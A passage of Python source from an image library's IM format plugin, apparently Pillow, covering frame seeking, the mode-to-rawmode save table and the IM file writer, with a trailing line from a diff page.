self.mode = self.rawmode = "P"
elif self.mode in ["LA", "PA"]:
self.mode = "PA"
self.rawmode = "PA;L"
self.palette = ImagePalette.raw("RGB;L", palette)
elif self.mode == "RGB":
if not greyscale or not linear:
self.lut = list(palette)
self.frame = 0
self.__offset = offs = self.fp.tell()
self._fp = self.fp # FIXME: hack
if self.rawmode[:2] == "F;":
# ifunc95 formats
try:
# use bit decoder (if necessary)
bits = int(self.rawmode[2:])
if bits not in [8, 16, 32]:
self.tile = [("bit", (0, 0) + self.size, offs, (bits, 8, 3, 0, -1))]
return
except ValueError:
pass
if self.rawmode in ["RGB;T", "RYB;T"]:
# Old LabEye/3PC files. Would be very surprised if anyone
# ever stumbled upon such a file ;-)
size = self.size[0] * self.size[1]
self.tile = [
("raw", (0, 0) + self.size, offs, ("G", 0, -1)),
("raw", (0, 0) + self.size, offs + size, ("R", 0, -1)),
("raw", (0, 0) + self.size, offs + 2 * size, ("B", 0, -1)),
]
else:
# LabEye/IFUNC files
self.tile = [("raw", (0, 0) + self.size, offs, (self.rawmode, 0, -1))]
@property
def n_frames(self):
return self.info[FRAMES]
@property
def is_animated(self):
return self.info[FRAMES] > 1
def seek(self, frame):
if not self._seek_check(frame):
return
self.frame = frame
if self.mode == "1":
bits = 1
else:
bits = 8 * len(self.mode)
size = ((self.size[0] * bits + 7) // 8) * self.size[1]
offs = self.__offset + frame * size
self.fp = self._fp
self.tile = [("raw", (0, 0) + self.size, offs, (self.rawmode, 0, -1))]
def tell(self):
return self.frame
#
# --------------------------------------------------------------------
# Save IM files
SAVE = {
# mode: (im type, raw mode)
"1": ("0 1", "1"),
"L": ("Greyscale", "L"),
"LA": ("LA", "LA;L"),
"P": ("Greyscale", "P"),
"PA": ("LA", "PA;L"),
"I": ("L 32S", "I;32S"),
"I;16": ("L 16", "I;16"),
"I;16L": ("L 16L", "I;16L"),
"I;16B": ("L 16B", "I;16B"),
"F": ("L 32F", "F;32F"),
"RGB": ("RGB", "RGB;L"),
"RGBA": ("RGBA", "RGBA;L"),
"RGBX": ("RGBX", "RGBX;L"),
"CMYK": ("CMYK", "CMYK;L"),
"YCbCr": ("YCC", "YCbCr;L"),
}
def _save(im, fp, filename):
try:
image_type, rawmode = SAVE[im.mode]
except KeyError as e:
raise ValueError(f"Cannot save {im.mode} images as IM") from e
frames = im.encoderinfo.get("frames", 1)
fp.write(f"Image type: {image_type} image\r\n".encode("ascii"))
if filename:
# Each line must be 100 characters or less,
# or: SyntaxError("not an IM file")
# 8 characters are used for "Name: " and "\r\n"
# Keep just the filename, ditch the potentially overlong path
name, ext = os.path.splitext(os.path.basename(filename))
name = "".join([name[: 92 - len(ext)], ext])
fp.write(f"Name: {name}\r\n".encode("ascii"))
fp.write(("Image size (x*y): %d*%d\r\n" % im.size).encode("ascii"))
fp.write(f"File size (no of images): {frames}\r\n".encode("ascii"))
if im.mode in ["P", "PA"]:
fp.write(b"Lut: 1\r\n")
fp.write(b"\000" * (511 - fp.tell()) + b"\032")
if im.mode in ["P", "PA"]:
im_palette = im.im.getpalette("RGB", "RGB;L")
colors = len(im_palette) // 3
palette = b""
for i in range(3):
palette += im_palette[colors * i : colors * (i + 1)]
palette += b"\x00" * (256 - colors)
fp.write(palette) # 768 bytes
ImageFile._save(im, fp, [("raw", (0, 0) + im.size, 0, (rawmode, 0, -1))])
#
# --------------------------------------------------------------------
# Registry
Image.register_open(ImImageFile.format, ImImageFile)
Image.register_save(ImImageFile.format, _save)
Image.register_extension(ImImageFile.format, ".im")

Some files were not shown because too many files have changed in this diff Show More